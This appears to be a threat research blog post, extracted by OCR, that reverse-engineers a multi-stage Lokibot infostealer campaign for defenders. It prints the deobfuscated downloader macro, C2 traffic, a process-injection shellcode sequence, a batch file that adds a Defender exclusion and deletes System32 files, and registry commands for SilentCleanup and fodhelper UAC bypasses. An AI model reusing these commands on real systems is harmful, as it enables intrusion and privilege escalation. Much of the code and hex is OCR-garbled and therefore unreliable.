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News summary

o Lokibot is one of the most well-known information stealers on the malware landscape.
In this post, we'll provide a technical breakdown of one of the latest Lokibot campaigns.
» Talos also has a new script to unpack the dropper's third stage.
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o The actors behind Lokibot usually have the ability to steal multiple types of credentials
and other sensitive information. This new campaign utilizes a complex, multi-stage,
multi-layered dropper to execute Lokibot on the victim machine.

What's new?

This sample is using the known technique of blurring images in documents to encourage
users to enable macros. While quite simple this is fairly common and effective against users.
This write up is intended to be a deep dive for reverse engineers into the latest tricks Lokibot
is using to infect user machines.

How did it work?

The attack starts with a malicious XLS attachment, sent in a phishing email, containing an
obfuscated macro that downloads a heavily packed second-stage downloader. The second
stage fetches the encrypted third-stage, which includes three layered encrypted Lokibot.
After a privilege escalation, the third stage deploys Lokibot. The Image below shows the
infection chain.
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So what?

Defenders need to be constantly vigilant and monitor the behavior of systems within their
network. This blog provides a detailed overview of how complex the infection chain is for
Lokibot and which tricks the adversaries are using to bypass common security features and
tools of modern operating systems.
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First-stage analysis

When the user opens the phishing email, it presents a Spanish social engineering message
("Payment: Find scheduled payment dates attached"). The figure below shows a screenshot
of one of the emails we looked at.

Contabilidad <admon@berza.com.mx> 13 € Reply % Reply All' ¥ ~ Forward More v

Pago 10/12/2020, 1:55 PM

Encuentre las fechas de pago programadas adjuntas

W |ﬂ] 1 attachment: Fechas de pago programadas.xs

ER Fechas de pago programadasxls 910 KB

The Excel sheet uses another common social engineering technique by showing a blurred-
out image of a table with the text "Changing the size of this document, please wait," in
Spanish. If the victim clicks the "Enable Content" button, thinking it will make the image
visible, a malicious macro is executed.
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The macro is mainly obfuscated by using long hexadecimal variable names. The screenshot
below shows a portion of the "Workbook Open’ function of this macro.
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It decrypts the URL for the second-stage from hardcoded bytes, saves it to the "Templates”

SBDHCRWHVEENQCGHMMT VX TONICSTESUCIRENERXDIWH . cosponasBody

1c

CHMMNRD T IO T e I GG I W P DV EFH D P E T L DN JE L OB T Y G G Y BN I CEM I TW U R T OOy ISCY TITOONP I FINER
CBDHCRENAVHEENGGMHMTVATONIJCSTESUCZIREEENDJIWH . Status = 200 Than

Sat

CLPE N IRV YU YUV LR F R D I Y SRR F P PO S Y VE DO G LOMA R CHN R DT IGH AT ICEFIZNZPFDVEFHDPFETL.T
PIFIXEEMNFPLYFE = CreateaObject{(“adodb.stream®™)

CLPE KXW IRV YUK Y UNV LR F R YD L S Y G RF PO S G I Y VEDOGLOMIRCHMNRDT IO AT K IGGFIZNZ PDVEFNDFETLT
FIFIXEEMNPLXFD. Opan

CLPR G AN RV I U R I UV LR DU YD L S GNP S G S IVE DG LOMI DO RO T IO AT R I GG I SWS FOVENHDPFET LT
FIFIXEEMNPLAEFDE. TYps =

L PR W S RV Y HU U K Y UH YV LA AU BV D I S Y G R R P O G S Y VEDOGLOMSBCHMNRDT IOHRTX S IGGF I SWSPDVEFrHDPETL
HPIFIXEEMNPLEFETRLVEMT TS PJCOBBOROHIVT

CLPR EXEW L AV Y HUU O Y UH Y LR F RV DI Y SSC R R F P PO G Y VEDOCGLOMA BCHMNRDT IOHA T IGOFI ZWZ PDVEFHDPETLY
PFIFIXEEMNPLYEE. . Wxite

FIFIXEEMN P LY AT L VEMT Y IR ECFOH IV IOLU T PP VC R RDNENE Y OB DHCRENW VX EN GOMMT VTGN ICASTESUC IR
EYUHYLERUFEYL I 2 Y SSCRRFPFFOEC Y VELRRGILOMEBECHMRADT IGHETRSIGSFIZWERD

CLPRE NN IRV YHU O K YUYV LB F RV D I Y S G RF P P G Y VED O G LOMABCHMNRE DT IQHA T A IGEFIZWN I PDVEFHDPETL.T
PIFINEFMNPLYFRE. SavaToFile

BN IGEMLWHTWUBCIUU ZFCOY IaCY TJOONF IFIXEENMNPFLEFATELVERNT Y JPJOCOBBOFONITVIOLUT FRFCXVCERDWBNE Y ZOB
A ER Y Er T Vo I Y CLPR AW I RV THUUC K I UHVLERUUFBVDIZ Y IIGEERFFEF,

YL PR XKW IRV YUK YUV LE U FB VDI Z Y G ERFP OGS Y VEDOG LOMIDCHMNRED T IO R T IGGF L IWSPFDVEFHDPET L
NFPFIFIXKEEMNFLEFDTERELVEMTYJ P JOQODRBDOROHJIV.T -+

T LFR SR AW I RV I UK I UV LR DU DV L S Y G RR P rOSG S Y VEDOGLOMIDCHNREDT IO TR I GG L oWSFDVErH D FET L
HPIFIXEEMNPLEFETELYEMTY JPJCOBROFOHIV.T

CLPR KW RV Y HU U K Y UH Y L AU Y DI Y G R R P MO G Y VEDOGLOMI BCHMNRDT IOHA T KA IGG I SWZ PDVEFHDPETL.T
PIFIXEEMNPLXER. Closwe

End If

RS I G I AW I P DV EFH D P E T LT DN I E L OHH B I Y W Y BN I G EM L H T WU B U O I Y T ITOONP I FIXEEMNP L FETE
HENQOHMTVETONICSTESUC IR EEXDIOWHNE . Opan

BN ICGEMLWHTWUORBRC IO E FCOY ISCY TJOON P IF I EEMN PLEFATELVERNT Y JPJOOBBOFOHITVIOLUT FRPOCXVOCERDWEANE Y ZO08
XD ER I EFITVaH I Y CLP RN I RV YHUUUCK Y UHVLERAUFRVDIZY33GERFFF)

End Sub

deobfuscated macro is shown below.

TemplatesPath = Wsh3hell.SpecialPolders (" Templates™)
Sat HLLpReagquast = Cr_ﬂal’.ﬁﬂb'ﬁﬁch ("microacit.mmlhttp™)
Zet shellapplicationDbkj = CreateObject("shell Applicaticn™)

ID.-'.th‘T‘n'F!:u.n = TemplateaPath + Decrypt {"ix\ ’3[';1,—::,,.::"}'

£ HttpReguest.Open “get™, Decrypt URL for second-stage
Deorypt {"og~~27
- |I‘u lme
HttpRegquest . send
HttpResponasBody = HttpRegquaast . peaponasBody
[ Lf HttpReguest.Status = 200 Then
et AdobeStreami = C:ud.'l.ﬂObjl:L:'L [("adodh, stream")
AdobeStream¥ . Open
AdobeStreamt.Type = Integer 1
AdobeStreamf.Write HetpResponseBody
AdobeStream¥.SaveToFile FathToExe, Integer_1 + Integer 1
- AdobeStreamy. flose
End If

SWATT | waT~axyH: oywsytOequiuwyl faxul z~u~xrtpwlup~na~yy | np, phs.g  u<dngwapwn,n')

| shelinpplicationobi.open (PathroExe)| Execute second-stage
L Eng Sub

folder, and executes it. The traffic generated from the macro is shown below.
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GET SfojHyhkfkmuofwuendkfptktnbujgmfkgtdeitobregvdgetyhsk/Xehmigm.exe HTTP/1.1
Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 10.8; WOW6d4; Trident/7.@;
.NET4.8C; .NET4.8E)

Host: millsmiltinon.com

Connection: Keep-Alive

HTTPS1.1 200 OK

Server: nginx/1.19.3

Date: Mon, 12 OCt 2028 21:07:48 GMT
Content-Type: application/octet-stream
content-Length: 629768

Last-Modified: Mon, 12 Oct 2028 28:45:34 GMT
connection: keep-alive

ETag: "Sfadcebe-99coa”

Accept-Ranges: bytes

[ 00 00 0 000 B0 0000 50O L 2000 5 00300 5 00 5 000D 5 01§00 0 0 o 0D 0 1 30 0D 41 0 0 D3 8 01 5 5
L1..L.1. . This program must be run under win32
e p—

Second-stage analysis

The second-stage executable is packed with a Delphi-based packer.

Packer analysis

The packer contains a timer "xvv' timer under "Form_main’, which unpacks the payload. The
timer and its handler code are shown below.

Form_main (25 componentsiIIS
B Form_main I
onCr EEIETTFﬂfm_mE.Iﬁ.F{er Create
Image1:Timage

Stext i @a463180
Stext:eadb31B0

ImageZ Timage text :884631BC
Label_pourcent TLabel Jtext:@8d46318C _TForm_main_xvvTimer proc near
Label_texeTLabel push  enx
mot ebx, eax
Imagedfimage call System: :Randomize(void)
@ SpeedBution_copierTSpeedBution Har edx, edx
51- Button1:TButton mow ean, [ebn+3BCh]
1 nk r ibname 4493 Bhe 2085 -2887 T ]
= Edit text TEi f-_:iji ;&J:;ﬁ;_l ibname_4 ; BD: 2885-28@7 and De
- ProgressBar1:TProgressBar 5 pop o

:8841631P7F retn
;80463107 _TForm_main_xwvvTimer endp
BE4EIIDT

=1- Bution_police-TButton

- StatusBar : TStatusBar

=1- Button_remplissage TBution
- FontDialog 1. MFontDialog

=- MainMenu1 THainMenu

o TTmer Unpacking function
® OnTimer=TForm_main.savTimer

The unpacking function performs the following steps:

1. Loads the image resource with name "T__6541957882" into memory.
2. Finds the anchor "WWEX" and copies data following to the new buffer.
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3. Adds 'OxEE’ to the bytes to decode the DLL.
4. Reflectively loads decoded DLL into memory and executes it.

The figure below shows the resource image that contains the encoded executable.

W 1__654105/882 : 1033 |

o LUTS0T LoD

4 J Icon Group
i 4 ; MAINICOM
- 0

i : 1035
a | Version Info
i 111036
4 | Manifest

= 1:1033

The following image shows the location of the embedded executable following anchor

"WWEX".

00018BAO 50 50
0OD18BEBO 50 50
00018BC0O S0 30

n
[

FFPFFFFPFFFFFFFF
FEEPFFEFPEFFEFEFFFF
FEFFFFFFFFFFFFFFF
FFPPFFPPEFFFEEFPPF
FEFPPFFFPEFFFEEFPEF
FFPFFFFPFFFFFFFF

wn
tn

wn
tn
n
[

[ o

wn
in
L
L]

noLnon

[}

tn
tn
o
[}

1
i

wn
tn
o
[}

LhotnoLnoLnoLnoLn
fnotnotnoLnoLnoin

wtn
tn
Lo
=
[}

tn

[}

wn
tn
o
]
o
s
[
s
s

00018BDD 50 5
DD0018BED 50 5
DD0O1BBFO 50 5
0D0018C00 50 5
oDoolscio iz 1
000lsc2o 12 1
000l8c30 12 1
00olsc40 12 1

Blue Box: Anchor
Red Box: Encoded Excutable

[
[

=
=
et
=
[

=
s
s
[

[
[
[
kd R
[
[
[ L L I
[
By R R ORI O O O o O

[
[
[
[

=
[
=
[
[
[
=
[

3 k3 ORI ORI ORI o D D D D

B R K RIS O O D o O D
B R K RIS O O D o O D

ST R R R o T o T v T
[R5 )

L B3 B3

B k3 R

[ L I S I ]

[R5 S T R ]

f3 k3 RI RI R

s
[
i)
]
(%]
[
Lad
|
4]
o

1%

6/20


https://1.bp.blogspot.com/-zudPRMPgGPQ/X_WOuykcYSI/AAAAAAAAByY/33tvde_EEfQbT2eHVLWys0FUeDJjVpwPgCLcBGAsYHQ/s733/image25.png
https://1.bp.blogspot.com/-hdd3GJ5cbFA/X_WPEx-YFkI/AAAAAAAAByo/eL6CNV60bkcf_le1HSDl3zdZlsTt-QHIgCLcBGAsYHQ/s603/image34.png

The following code shows the code and decoded DLL.

Load Image Resource Resource Mame

I T e ]

EERAGEE RS e el PEAT R LG PO AL T RS LT B E g

»| 00462486 mov eax,dword ptr ss:[ebp-20] “[ebp—zo] (UT__6541957882"

& 00462489
®|| 004624BE

F <6b.system::__linkproc__ LStrToPChar (System:
ea edx,dword ptr ss:flebp-14]
<bb. LoadrResource=
push edx
op eax eax:"T__6541957882"

o 00462496
@ 00462497

| ~——>e| 00462003 +|Tea eax.dword ptr ss:febp-c
o of 00462006 mov edx,dword ptr ss:febp-4
| e 00462009 {movzx edx,byte ptr ds:[edx+edi-1]
yte p
cl e 004620DE mov ecx,dword ptr ss:flebp-8J
0 o 004620e1 and ecx,B800000FF
vl _e|004a620E7| ~||jns 6b.4620F1
EI ; e 004620E0 {dec ecx
e e 004620EA or ecx,FFFFFFO0
| I & 004620F0 T
= {add edx,ecx
O e 004620F3 L 5 ar>
il @ 004620F8 mov edx,dword ptr ss:[ebp-Clj
o & 0046 20FB mov eax,esi
i & 004620FD gall <6b.system:: _linkproc__ Lstrcat(void)>
| e 00462102 {inc edd
ol ®| 00462103 {dec ebx
| l———e||00462104 | =5 jnel6b. 462003 |_
Decoded DLL
Address | Hex ASCII
01DD2358 |40 5A 50 00|02 00 00 00|04 00 OF OO(FF FF|MZP......... VY. .
01DD2 368 BEZ 00 00 Q0|00 00 00 00|40 00 1A OO0(00 00| ........ S coraes

01pp2378 (00 00 00 OO0 |00 00 OO0 00|00 OO0 00 00(00 00| ..ot eernans
1ppz388 (00 00 00 OO0 |00 00 OO0 00|00 OO 00 00(00 01 | ... iv e e nnns
01pp2398 |Ba 10 00 OE|1F B4 09 CD|21 B8 01 4C|CD 21 (°.... .1t .L1I!..
01pD23A8 |54 68 69 73|20 70 72 6F |67 72 61 6D|20 6D|This program mus
01DD23BE |74 20 62 65|20 72 75 BE|20 75 6E 64 |65 72|t be run under W
01DD23C8 |69 GE 33 32 |0D OA 24 37|00 00 OO0 OO(00 OD(in32..587........

P o

Unpacked DLL analysis

The unpacked DLL is also written in Delphi. It fetches the third payload from the hardcoded

URL.
The DLL sets a timer, as shown below, which will execute the downloader function
periodically.
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CODE

CODE

CODE

CODE:

Be279748

188279744
CODE :
CODE:

Be27974AC
Be279751

188279752
CODE:

BB279754

188279755
CODE:
CODE:
CODE:

The "'Download3rdStage” will first decode “https://discord.com’ and try to connect to it. Then,

BE27975A
BB27975F
BB279768

push
push
mow

push
push
push
call
Mo

Pop

retn

1 ; TuEvent

5 = _dullger

eax, offset|DownloadirdStage
eax y TPLC

g 3 UResolution
ebx 3 uDelay

winmm timeSetEvent
ds:SetEventReturned, eax
ebx

it performs a time-based anti-debug check, as shown in the code below. If any of these
checks fail, the DLL will not download the third stage.

1pool AntiDebug()

Pl

1

WO 00w R WA s L

= e e
T R

14(}

Once the checks have passed, DLL will decrypt the hardcoded third-stage URL, as shown in

DWORD v&; // ebx

unsigned int vi ff eCx
inted v3; // | ]
__intbd vﬂ, fl]

|__:_|

-"T‘n

sp+8h | [ebp-14h
n+8h | 1]

= ReadTimeStampCounter();
= kernel32 GetTickCount();

ke nel32 Sleep(@x6du);

v = ReadTimeStampCounter()
vl = kernel32 GetTickCount()

return

L
ta

'3
v < 58000000 || w1 < 8x32;

the code below, and send the HTTP request.
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Encrypted third-stage URL

CODE : 802 79298 lea ecx, [ebpivar 8]

CODE:@27929E mo eax, offset ald23Ff1FBaB27F67 ; "323f1F0a027F675433270709553924443325041" . .
CODE : 88279243 call DecodeStr 5 edx 8370388 "IKkzarha”

CODE: 8G2792A8 Tl edx, l("'h[ll'.'u'_‘; ] H |_-:'-h|| H]:"!1l1;:l:..".-'m:.l lamiltinen. comfwuendktptojHyhktkmuotk!
CODE: 80279248 mow eax, [ebpivar 8]

CODE : 982 792AL call Sendlnternetlequest

CONF: AR 792R3
Decrypted third-stage URL

In response to the request, the server sends a ~618KB long hex string, as shown below.

GET /wuendkfptojHyhkfkmuofktnbujgmfkgtdeitobregvdgetyhsk/Xehmuth HTTP/1.1
User-Agent: PPPPPX

Host: millsmiltinon.com

Cache-Control: no-cache

HTTP/1.1 208 OK

Server: nginx/1.16.3

Date: Mon, 12 Oct 2020 21:08:23 GMT
Content-Type: application/octet-stream
Content-Length: 6608256

Last-Modified: Mon, 12 Oct 2020 09:24:15 GMT
Connection: keep-alive

ETag: "5fs4zebf-s4se0"

Accept-Ranges: bytes

776091c7e3a2b12086fPe117e3f2ana0776091c7e3a2b12086fPe117e3f2a0ap776091c7e3
17e3f2a0a0776091c7e3a2bl2086f0ell7e3f2a0a08776091c7e3a2bl2086feel117e3f2a0acE
bi12e86feel117e3f2a0a0776091c7e3a2bl2086feel117e3f2a0an776091c7e3a2bl12086f0el

The DLL decodes the hex string using the following steps:

1. Reverse the hex string.
2. Convert hexadecimal digits to bytes (unhexlify).
3. XOR decode with hardcoded key "ZKkz8PHOQ".

We have written a small Python script to decrypt the third stage. The same decryption
method was also used to decrypt the hardcoded command and control (C2).The resulting file
is also a DLL, which the second stage reflectively loads.
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open(SERVER_R
resp_str = serve

open( "decoc dil_", "wh") outfile:
outfile. (bytes{decoded_bytes))

Third-stage analysis

The third stage is also written in Delphi. At the start, it loads a sizable binary resource named
"‘DVCLAL’ into memory. It then generates the key "7x21zoom8675309" from hard coded
bytes. The key is then used to decrypt the resource data using a custom encryption
algorithm. The malware then recovers the configuration structure from decrypted resource
data. The structure fields are delimited by string “*()%@5YT!@#G_ T@#$%"&*
(_H@#575# @ .

The decryption algorithm is shown below.
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CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE

Lttt =

1 B3Da5ABE
:B3D85AB9
1 83DE5ABE
tB3DEsACE
tB3DE5ACH
1830e5ACE
cB3DesACD
:B3IDBSACF
1@30a5A01
1 B3De5ADG
1 @3DB5ADG
1 @30a5A06
1@3DaesAD9
1 B3DE5ADD
L B3DESADF
1B3DE5AE2
1 @3De5AED
tBIDBSAED
tB3095AER
1 B3DE5AEE
:B3D85AF]
t@3085AF0
1 B3DE5AF9
1 @3D|5AFD
t@30as5800
cB30a5883
:@3DasBes
:@3DasBeg
183Das884
:@3Das8eD
:B3D85812
183085814
:83De5B8160
:83DB5B1E
t830e5B16
183095816
1B308581C
183085810

RIMGCoIC

loc_3DB5ADG:

loc_3DR5B1B:

B e gy e

lea pax, lehosKpw]
I call BuildkKey 3 "2l zoomB67 5389
Moy esi, 1
mo eax, [ebp+PtrResourceDatal
call EDynArraylLength
mow edl, eax ; S@x: DBBLlAEBS
test edi, edi
jle short loc_3DBSB1F
mow ebx, 1
: CODE XREF: DecryptData+91.15
mow eax, [ebp+PtrResourceDatal
mav al, [eax+ebx-1]
and al, @Fh
moy edx, [ebp+Key]
moy dl, [edx+esi-1]
and dl, @Fh
wor al, dl
mov [ebp+temp], al
lea egx, [ebp+PtrResourceDatal
call ElnigqueStringh
mow edx, [ebp+PtrResourceDatal
mav dl, [edx+ebx-1]
and dl, @Féh
mow cl, [ebp+temp]
add dl, ¢l
mo v leax+ebx-1], dl | Write decrypted byte
Lo E51
mow eax, [ebp+Key]
call @DynArrayLength
cmp 251, 2ax
jle short loc_3D@5B1B6
mov esi, 1
; CODE XREF: DecryptData+88t13j
inc ebx
dec edi
jnz short loc_3DB5ADG

The hex dump below shows a structure field highlighted separated by delimiters.

2A
23
24
F3
E6
D8
DA
CE
DB
5F
23

The configuration structure layout is shown below.

28
24
23
F8
DB
FO
EA
E1l
FO

29
25
21
D5
DC
E7
D9
EF
F6

>4 40

35

37

25
5E
40
F6
E3
D2
=E
E9
2A
23
24

40
26
cC
c8
CE
DF
D6
E7
28
24
23

35
2A
CE
CE
EB
EF
EA
DB
29
25
21

59
28
DA
EL
F2
D2
E6
D6
25
S5E
40

54
L3
[}
cD
F2
F3
F6
E8
40
26
37

21
2F
ES8
F8
EL
cC
EE
D7
35
2A
34

40
5F
EB
F1
DA
DA
D6
CD
59
28
35

23
23
F2
E3
ED
D6
F4
8
54
29
32

47
40
F5
F9
F6
E7
D7
CF
21
SF
37

5F
24
F7
DA
F3
EA
E4
DO
40
5F
32

54 40

35
DE
E4
DF
D9
cC
D4
47
40
38

37
EOQ
EA
EC
EQ
EO
DE
5F
24
37

BSUA&* ()__#@SHS7
$#1@1TUDeéoo=iba
6006ETaToRalUESE
z0UaiéooauiooNR
@dcORT00IUOCE Ua
UeUIoé26706xa81a
IajecUbexIEIDTOP
086 () %a5 YT | @#G_
_T@#S%AZ* ()__#@$
#57$#1@745272387

*(O)%ESYT!@#G__T@ |
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Urkrnown

PYOID DecryptionkeyA
FVOID DecryptionkeyB
PWOID EncryptedExecutable
LPSTR AutoRunkeyFlag

LPSTR ExcutionFlagh
LPSTR ExcutionFlagh
FYOID EncryptedShellcode
LPSTR Unkrigwn

LPSTR Filehame

Unknown

LPSTR ExecutionFlagl

Used in decryption
Used in decryption
Points to encrypted executable

If set to *1° malware will persist using
autorum key

Combination of ExecutionFlagh.B,C
dictates how EncryptedExecutable
will be launched after decryption

Points to encrypted shellcode

Filename wsed in some checks

Yes
Ma. Sat te 0"

ExecutionFlagh="1"
ExecutionflagB="

Yes

Ma. Set to “200° but not used
Yes. Set to “¥ehm”

i [a]

Setto 0"

Used to check if toinject an embedded
DLL to notepad.exe

LPSTR InjectDLLToNotepadFlag

Setto *1°

Unknown Mo

LPCSTR Unkrcwr Setto str“Direct Crypted File Link Here® Mo

Injecting malicious DLL to Notepad.exe

Then, the malware will check if “InjectDLLToNotepadFlag” is set and ‘reverse_str(FileName)
+".url" (mheX.url) file doesn't exist in C:\Users\<username>\AppData\Local\'. If yes, it will
inject malicious DLL into Notepad.exe using the following steps:
1. Launch a Notepad.exe in the suspended state (dwCreationFlag =
CREATE_SUSPENDED).
2. Get the imported DLL name from the malicious DLL's import table (the first one is
"kernel32.dll") and write to the suspended process.
3. Write the following 12-byte structure containing addresses of kernel32: LoadLibrary,
kernel32.sleep, and DLL string.

Address |[Value
000D0O000 [75D8498F

Q0O0DO004 | 00OCO000
QQ0DO0O0S | 75D810FF

T —— T i L T

Comments
kernel32.LoadLibrarya
"kernel32.d11"
kernel32.5leep
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4. Write a 210-bytes shellcode to Notepad.exe.

Address | Hex

ASCIT

o00ACOO0
000ACO1LO
oo00ACO20
oO0ACOZ0
000ACO40
000ACOS0
O00ACOED
ooOo0ACOT O
o00ACOEBD
0O0ACOS0
OoO0ACOAD
oO0ACOEBD
OO0ACOCO
OoO0ACOD O

LT W NN

BE
89
FF

U.1.A0.E....UD.
. UB.P. . UldYueyUo
WyyyPyUneo. a]A.
. .28, U.7.ABSV. Ud.
?. ElieKipy3AUh*HD
Ldvod. ZU0h<HB. hD
HB. &, .Y WPE. .yy.E
BhPHE . hDHD . 8. . vy
Pe..y¥.ED.EiE. 0p
V.D.A2e. Py EO0J . ]
. .MBeXGD . . £ebpyy
AT PEO. W, SATY
¥d..hlHB. .EdE7<p
L

2T

5. Execute this shellcode in Notepad.exe using ‘CreateRemoteThread™ and pass the
pointer to the 12-byte structure shown above. This shellcode loads the DLL
("kernel32.dll") and then goes into an infinite sleep loop.
6. Write DLL ("kernel32.dIl") string again to notepad.exe.
7. Write the 20-byte structure to Notepad.exe containing pointers to important APIs and

8

two strings: imported DLL name and imported APl name.

00130004
00130008
0013000cC
00130010

Address |
00130000

Value |
F702D598

73D&1222
73D&1245
00120000
00110000

A N L

comments :
ntdl1.RtlExitUserThread
kernel3?.GetProcAddress
kernel3?.GetModuleHandleA

"kernel32.d11"
"DeleteCriticalsection”

Write 144 bytes of shellcode to Notepad.exe.

Address | Hex

ASCTI

001 40000
00140010
00140020
001400320
00140040
00140050
00140060
00140070
00140080

A AC S

U.1.581VW.E..D. }1

L@ LML L P
uapyg1_n.3ji.,.i
SWVW.AS.U.D.B3A. .
FhDIB . hXIB ., B, Yy
Pe>.¥¥.D3.hdID. h
XID. e#. yyPes. yv.
Di.htID. hxID.e..

VyPE. . Wv.DE. . x. A

9. Execute this shellcode in Notepad.exe using ‘CreateRemoteThread™ and pass the
pointer to the 20-byte structure from step 7 as param. This shellcode will resolve the
import pointed by the last variable of the structure in step 7, and then exits using
‘RtlExistUserThread".

10. Repeat Steps 2 - 9 for all of the imported DLLs and imported functions in the malicious
DLL's import table.
11. Write malicious DLL to Notepad.exe.
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12. Write an eight-byte structure to Notepad.exe containing Malicious DLL base address

and entry point.

Malicious DLL's Base Address

50450000

150492090

Addre
03C50000 "MZP"
03C50004

Malicious DLL's Entrypoint

13. Write 122 bytes of shellcode to notepad.exe.

Address | Hex ASCII

03Ce0020 |59 50 C2 04|00 BD 40 00|55 BB EC B1|C4 78 FF FF vjh..:@.u.ﬁ.ﬂx""
03C&e0030|FF 53 56 57 |8B FS B9 55 |F8 B9 45 FC | 8D 45 CC BE ?SVW.y.pE.Eﬂ.E_.
03CE&0040 (15 DE 45 DO|02 ES 02 F2|FE FF 32 CO|55 &8 F1 50| .8ED. 2. UpyIAUhAP

03C60060 |52 50 8B 47 (3C 99 03 04|24 13 54 24|04 83 C4 08 |RP.G<...5.TE. . AL
03CE0070( 89 45 E4 BE|(0O OO0 OO0 SO(81 C3 00 OO(00 OO 00 OO|.Eds...P.A......

(e Pl N e Vet e it (aat (aat (aat (a Tyt (a Tyt (a Tyt (a¥at (a¥at (a¥at (aat (aat (aat (p Yt (a Tyt (a Tyt (a Tyt

14. Execute the shellcode in Notepad.exe using "CreateRemoteThread” by passing the

pointer to structure from step 12 as param. The shellcode calls the entry-point point of
the malicious DLL.

03CADD14 31C0 XOr eax,eax

03CADD1G 50 push eax

03CADDLT 64 01 push 1

03CAD019 FF75S F8 push dword ptr ss:|lebp - Ej) [ebp-8]: "MZP™

FF55 FC call dword ptr ss:[ebp - 4]

N2 AN C CoO AR oW

03C&0000|55 8B EC 83|C4 FE8 BB 45|08 BB 10 89|55 F& BB S50|U.71.AB.E....UB.P
03Ce0010| 04 89 55 FC|31 CO 50 6A|01 FF 75 FB|FF 55 FC 59 ..Uﬁthj.?u&?UﬂT

03C&0050 (DO 03 &4 FF|30 64 B9 20|C6 45 F7 O0|8B C7 33 D2 |b.dy0od. ZE=..C30

Injected DLL analysis (UAC bypass using two techniques)

It checks if "C:\Windows\Finex" exists. If not, it will drop the following file at path
"C:\Users\Public\cde.bat":
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powershell -inputformat none -outputformat none®
=NonInteractive -Command Add-MpPreference -ExclusionPath C:hUsersh\user\appData
YLocal
del Sg "C:\Windows \System32\+"
rmdir "C:\Windows “System3z®
rmdir "C:\Windows %"
mkdir "C:\Windows“Finex"
exit

it drops C:\Users\Public\x.bat containing the following content.

cmd fc C:\Users\Publichx.vbs
exit

Then, it drops C:\Users\Public\x.vbs.

FSO, objshell, strApp
FSO = CreateObject{"Scripting.FileSystemObject

objshell = CreateObject("Wscript.Shell™)
path = "C:\Users\Publichcde.bat
FS0.FileExists(path)
objShell.Run path, o,

objshellsSh =
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Then it drops, C:\Users\Public\Natso.bat.

reg delete hkcu\Environment /v windir /f

reg add hkcuhEnvironment /v windir /d "cmd fc start /min C:\UsershPublichx.bat reg
delete hkcuEnvironment /v windir /f && REM "

schtasks fRum /TN ‘Wicrosoft'\Windows\DiskCleanup\SilentCleanup /I
reg delete hkcuh\Environment /v windir /f

Then, it executes 'Natso.bat’, which is a "fileless" UAC bypass found by James Forshaw.
More details here.

If C:\Windows\Finex still doesn't exist (which means the UAC bypass failed), it will update the

Nasto.bat and execute it using the code shown below.

REG ADD “HKCU\SOFTWARE\Classes‘ms-settings‘shell\open‘\command® /t REG_SZ /d
"Covwindowsh\system32\emd. exe S¢ REG ADD HELMM\software'microsoft\windows
Zeurrentversionypolicies\system /v ConsentPromptBehaviorAdmin At REG_DWORD /d & /f"
[

REG ADD “hkcuhsoftwareh\classes‘\ms-settingsishell\openicommand® /v DelegateExecute /t
REG_SZ fd " " Jf

fodhelper.exe

cmd fc ostart /min C:wUsershPublichx.bat

This is another UAC bypass technique based on fodhelper.exe. More details here. On our
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test machine, the last bypass was successful, and "C:\Windows\Finex" was successfully
created. After that, the DLL deletes the dropped file and exits.

Decrypting and executing Lokibot

After attempting to bypass the UAC, the third-stage DLL will check if "AutoRunKeyFlag' is
set. For this DLL, it is not set. It will then jump to code that decrypts the Lokibot executable
using decryption keys from the configuration structure. The first two layers are decrypted
using ‘DecryptionKeyA™ and "DecryptionKeyB", and reverses all the data. After that, the final
layer is decrypted using the same decryption method used to decrypt resource data at the
start of the third stage.

o =

CODE :@3D@s4lE
CODE: @30864CE loc IDAG4LE:

CODE : @3DBSACE lea ecx, [ebp+var_CE] Decrypts layer 1
CODE : 306404 mov edx, ds:DecryptionkKeyh

CODE : 830864048 mov eax, ds:EncyptedExecutable ; 1: eawx 8481191

CODE : @30864DA ; 2: edx @4B11898 <key>»

CODE : @2D854DA i 3i ecx @IBEFCo@

CODE : @3D@54DA ;5 4: [esp] @3BEFDAC
CODE : 83D864DF call CustomDecryptiond

CODE : @ 30862E4 mow edx, |ebptvar (8] ; a2

CODE : @3D@64EA mow eax, offset LlDecrypted ; result

CODE:@3D@64EF cal ALStrAsg Decrypts layers 2
CODE : @3D@854F4 mov eax, ds:DecryptionkeyB

CODE:@30864F0% call StrTolnt

CODE: @30864FE mov edx, eax

CODE: 23085588 lea ecx, [ebptvar CC]

CODE : @3DB6586 mov eax, ds:L1Decrypted

CODE: 830865688 call CustomDecryptionB

[LODE  83pass 16 maw gdx, lebetvar CC1 2 g2

CODE : @30@6516 mov eax, offset L2Decrypted ; result

CODE: 83086518 call ALStrAsE

CODE : 83085520 lea edx, [ebptlutReversedStr] ; out Str

CODE: 83086526 mowv eax, ds:L2Decrypted ; String Reverses data
CODE : 3026528 call ReversesString

TUDE T o000 08 mow Ta¥; |CDpTUULREVENSEOoLT]

CODE: 83086536 lea edx, [ebptvar D@]

CODE:@3D8653C call DecryptData ; decrypts uing key:7x2lzoomB6 75305

CODE : 83086541 mow edx, [ebptvar_D@] ; a2 DEEWPtSﬁr:Ia”a?Erand
CODE : 83086547 mov sax, offzet DecryptedlokiBotExe ; result reveals Lokibot exe

Tmm:*-n. Tall WCSITASE

The DLL contains multiple ways to execute a PE file. The execution method is decided -
based on the values of ExecutionFlag A, B, C. Their values will lead to the following code for
the current configuration, which will decrypt the shellcode from the configuration using
DecryptionKeyB, pass it three parameters: pointer to decrypted Lokibot .exe, a pointer to an
array of string and a pointer to current command line.
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.
CODE :@308672F mov eax, ds:ExcutlonFlagh ; Left

CODE: 83086734 mov edx, offset al 1 ; "1°
CODE: 83086739 call BLStrCmp
CODE - @3DAG73IE jnz loc 3D&G7FD

s =
CODE : @3IDAETAY mow eax, dsiEwecutionFlagl ; Left
CODE : 83086743 mov edx, offset al_1 ; "1"

CODE :@3DAG74E call gLStrCmp
CODE : @3DB6753 =

7

loe 30BETFD

Decrypts shellcode

_ Y
ol =]
CODE : 83086759 mowv eax, ds:ExecutionFlagg ; Left
CODE :@302E675E mow edx, offset al 1 ; "1
CODE : 83086763 call @Lstrmp
CODE : @3DRETEE jnz loc_3DEETFD
L1
= T
CODE :8302676E mov eax, ds:DecryptionkeyB
CODE: 83086773 call StrTolnt
CODE : 83026778 mov edx, eax
